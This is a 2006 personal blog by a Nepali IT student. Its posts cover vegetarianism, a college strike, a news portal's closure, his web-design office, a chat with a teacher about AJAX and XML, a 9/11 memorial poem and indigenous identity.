I like the way in which Richa Bhattarai wrote in her article about eating meat. I am a vegetarian for about a year. I left to eat meat coz I wanted to deduce the percentage of killing animals. This seems impossible to avoid the killing of animals by just avoiding eating meat but help a little bit. She has written that she didn't feel any mercy upon animals when she had meat at home. But want to ask that is she made of iron or stone ? If she is human she mustn' t forget that she is too an animal. I think she must be fully against of Maoists actions of killing innocent people and she must be too against of all kind of violence. But the way she presents the view of her mind in the newpaper seems that she too has a virtual vampire resideing inside her who definitley wants to taste the blood of innocent aniamls. If it is not like that then why she doesn't feel any kind of mercy upon the innocent buffaloes shooted by people. She may think that our ancestors are carnivorous so why should we avoid eating meat? We must not think like that being the people of 21st century because we are now much more educated, sophisticated and higly developed then our meat loving ancestors. In the article I somewhat realise that she feels proud because she is non-veg. Because I have never seen people who argue that eating meat is good from any direction rather that avoiding meat.

Writing all these things may feel that I hate non-veg but it is n't. I mean to say that we must just try follow the path shown by Buddha. The path of non-violence. Violence means not only killing of human by human but also of animals too because they have also equal rights to live in this earth as of human beings. It is very wrong idea to think that being a super animal we can do whatever we want to animals. I think she feels sorry for the human behaviour upon animal from some points but she cannot just avoid eating meat. So this is only her weakness that she can't avoid eating meat. So it is just funny or stupid to write her own weakness over such a famous newpaper letting everyone knowing, making the wonderful web of words. At last I want to suggest all people that if you can't do anything good to animals then plez don't do bad too.

Ashish Lohorung Rai

My College on Strike.......!

2006-09-17T11:02:00.001+05:45

This gone friday morning in our college all students did strike against the college. I too did participate. My college name is LBEF(Lord Buddha Education Foundation) which is located at Maitidevi. For a long time college has been ignoring students problems that this time it came out with a bang. There are two Indian university affiliation in our college. They are SMU(Sikkim Manipal University) and MCRP(Makhanlal Chaturbedi Rastriya Parisad). The students complaints are :

1.Many ex-student of MCRP claims that they haven't got exam certificate for a long time of about 2 to 3 years.

2.Our subject teachers said that they have given marks but college unknowingly sends another marks for internal examination and practical exams. Do subject teacher knows a student well or college? This was the question.

3.Just a few weeks ago an silly incident happened. College published a notice 15 of August and declared in it that students have to pay their college fees within 18 th otherwise Rs. 500 is charged. Many students didn’t know about that and they are supposed to be charged the fines. All including me rejected it and again college published another notice and declared the late date of paying college fees has extended to 20 th of the month. It is just like playing hide and seek with small children. College has provided us a calendar month and important dates sheet. The paying of fine hasn’t been written anywhere. So seems just college is collecting Dashain festival bonuses.

4.If any problems in certificate or provisional certificate or transcript comes college has a prepared answer ie. “It is not our fault go to the university…we are not responsible” . If we pay so much money to the college won’t it be the college responsibility to look after a students’ problem?

There are so many problems that it was not time to listen all the thing. At last, the management was to accept all the three topics to implement and declared that they will allow to open a student council for students.

Parewa Collapes...!

2006-09-17T11:02:00.000+05:45

Reputed independent news portal parewa.com was dismissed due to some internal conflict with CNC. Parewa.com was running with the collabration with CNC. It is very sad for all of us because parewa.com was so much popular among the NRNs. It is also famous among the Nepali. It come to know that for many months parewa.com was going severe financial weakness. It is due to the weakness of marketing and unable to get advertising. Though our parewa.com brothers were putting their every effort to keep it alive but all in vain.

Not for only us(CNC members) but for all Nepali this is bad news for emerging business and fame of media.
As all we know that how much important is the news are. It is a tragic event in the history of all news portals in Nepal.

Anyway, whatever the things are happened are all past so we must think for the future and do our best to keep control them. I do wish the parewa.com bros that wherever they go success will kiss them.

It's 7:24 pm and the power is gone.....!

2006-09-13T19:29:00.000+05:45

It is 7:24 and the electric power is gone and I am doing computer with the help of UPS. I don't know how much it helps me to run my PC. If goes suddenly then whatever I have done will go and my all work will go in vain. Today Kunjan Ji took some of my photos and I edited using photoshop. When I tried to put that photo in this blog then power went off.

Now I am waiting for my elder brother to come here and we together go to home. But he has shown no sign of coming here till now. It is already late and night. How could I go home if he didn't come?

Whatever it may be I must trust in my luck. The threat of going UPS down is rising and the blood pressure too. I can't even think what to write and what not. So if I go out of subject then plese don't mind it.

My office and me.....!

2006-09-12T17:27:00.000+05:45

I go to my office at around 10 am and stay there until 7 pm. It is located in Hattisaar near Marcopolo Business Hotel. It was before a month my office was inside that hotel. But due to the lack of enough space the owner of the office, Ranjan Shrestha decided to move it to this building.

Basically, this office develops websites, brochures, logos and so on which are all related to designing. This website company has developed around 60 to 65 websites altogether till now. Some are;
http://www.visit2bhutan.com
http://www.thehiponline.com
http://www.discoverasiatours.com
http://www.planholidays.com
http://www.musicnepal.com
http://www.southasianholidays.com

My chat with Naresh Sir.....

2006-09-12T10:51:00.001+05:45

Chat Date: Tuesday, September 05, 2006, 6:31:15 PM

sprisoner: :-)...u do not need to reload the page. well, thats why ajax is there.
ashishlohorung: yeah
ashishlohorung: how much an AJAX page is fast than a normal page?
ashishlohorung: is it 2 or 3 times faster?
sprisoner: in the scale of pages that we make, its almost same.
sprisoner: no, we cannot compare that way. it depends on the case.
ashishlohorung: so what's the benefit of using AJAX?
sprisoner: biggest benefit, u can do anything internally, without losing data on the form...all because u need not reload it.
ashishlohorung: yeah
sprisoner: i mean, imagine : u can validate login of user by calling asp or anything that runs server side.........all without refreshing the page! and show the result to user. and it takes almost same time, sometimes even less.
ashishlohorung: that mean we save time not to reload the same information what we have already in our page right?
ashishlohorung: i have heard that to update a small data on our page........AJAX can do it without uploading the whole page...is that right?
sprisoner: yes
ashishlohorung: can you give site where we can learn the basic implication of AJAX..?
sprisoner: well, need to check out
sprisoner: will inform tomm.
ashishlohorung: ok sure sir
ashishlohorung: and one thing sir
ashishlohorung: what is the best example of implication of xml ? can u give sir?
sprisoner: i din;t get u. in what sense?
ashishlohorung: i meant that what is the best use of xml?
ashishlohorung: practically?
ashishlohorung: if u don't get now also
sprisoner: replacement of online database.
sprisoner: and security.
sprisoner: and where files r needed which r regularly updated, like MSN contacts..
ashishlohorung: what is the best benefit of xml?
sprisoner: hmm...well, lot many in fact.
sprisoner: is it urgent. like, we can discuss it in the class tomorrow if we can.
ashishlohorung: yeaha
shishlohorung: sure
sprisoner: btw, do we have class tomorrow?
sprisoner: ok
sprisoner: but i m thinking...its a good topic for seminar, right? i guess, many guys in the class don't know it, and it is somthing important today.
sprisoner: what do u say?
sprisoner: i mean, it will be good for students............AJAX.
ashishlohorung: yeah sure
ashishlohorung: sir
ashishlohorung: but who will present it
ashishlohorung: coz i already did it sir
ashishlohorung: and i need some break sir
sprisoner: who do u want. choose one.
sprisoner: no, i mean, some one else, not u.
sprisoner: i know, u need a break! :-D
sprisoner: ok, catch up tomorrow.
sprisoner: ttlashishlohorung: sure sir
ashishlohorung: see you then
sprisoner: c ya, bye

9/11 Memory...!

2006-09-11T11:23:00.000+05:45

When Bin Laden attacked WTC more than 2000 people died. People of different views may watch the incident differently that he has done right. But whatever had happened dying of innocent people is always worse and we have to defy it.

Today is that worst day. And I pay my condolences to the families who have lost their relatives in that day. So everybody has to pay by one way or another, I pay with this blog.

Terrorism, Bombing and gunfight,
will bring dark in our world.
Happiness and tranquility,
are going to be sold.

Crying of innocents when they die,
will not go without pay.
All the people of the world,
the words of peace we say.

Indigenous Definition

2006-09-10T18:59:00.000+05:45

As I am an indigenous people I though it would be better if I do search who are we actually? Why is the indigenous issue is so hot and they are saying that they are underpriviledged? It is the time that people like us have to wake up and search for the right that we are provided by our law and the various many big world organisations like UN, ILO etc.

Because I have heard that many non-indigenous people get benefited in the name of indigenous fund and other facilities. It is so because we indigenous people don't be aware about that and we think what is going to happen? This is totally wrong perspective. We have to search our identity, place and origin because if we don't do that we are going to be more deprived from all things. We should hope for the future not for the present.

So with this attitude lots of things are there to do and lots of things to search. Wherever you find and thing just share other and me. As I will publish andy good thought and good links in the cyberspace. As I am an IT student my responsibility is to help indigenous people from the IT field. So I am opening this blog site which I hope will continue till my death.

I hope you people understand my feeling and yours too. So pleas comment me and together we will unite.

Here are some links which will help you to understand who are indigeneous people.

http://en.wikipedia.org/wiki/Indigenous_Peoples

http://www.unhchr.ch/html/menu6/2/fs9.htm

http://en.wikipedia.org/wiki/Indigenous

So here they are. I hope you people check it and know the truth.

Treat in Umesh Dai House.....

2006-09-10T18:16:00.000+05:45

As he has invited us in his dinner we all went there and had lots of things such as coke, peanuts, prawn crackers, porks and so on. But as I am a vegeterian I didn't eat non-veg items. He also shot many videos with lots of jokes and fun.

He too showed us what they did in Pokhara..It was very fun to watch and we laughed till our gut nearly came out...

We also had milk curd and rasbari....

My stomatch was so much fill and full that it nearly came out. Whatever, we had a great fun there. At around 7:30 pm we (Laxman, Bikkil, Kunjan, Raju and Me ) came out to go our homes. Well though it was already night, it was a good excuse to stay late outdoor.

It is weekend !

2006-09-09T13:02:00.000+05:45

Today is weekend ie. Saturday. We the CNC and Parewa staffs are invited by Umesh dai of merosansar.com. He is the owner of the site. He recently got 51,000 NC bucks for his great work of managing the blog site. So he has invited us to have treat in his house at Kalimati.

Just now I am chatting with my old friend Sameer . He is working in India. Hey Sameer if you read this posting then comment my site ok.

It is raining ....!!

2006-09-08T19:53:00.000+05:45

My Office hour is over but also I am writing this blog to just make you fun. Rain is pouring from the sky and the weather is cool. I am thinking how to go my home. Brother said he will come by bike and take me home but we have only one raincoat...

What will happen ? Tomorrow I will write...

Today was my nice day ....anyway.

Day before yesterday was my worst day ...why? I will write about it.

Just a few days ago I knew I got passed in my 5th semester BSCIT in A. Everybody were asking for treat but I have no money. So what to do?

Anyway I will convince them by the way..

Welcome to my first Blog

2006-09-08T19:50:00.000+05:45

Hello everyone,

This is Ashish .. I have started blog posting from today...I will continue it for my whole life ..so ples accept it and do comment it..

Ashish Lohorung Blogsite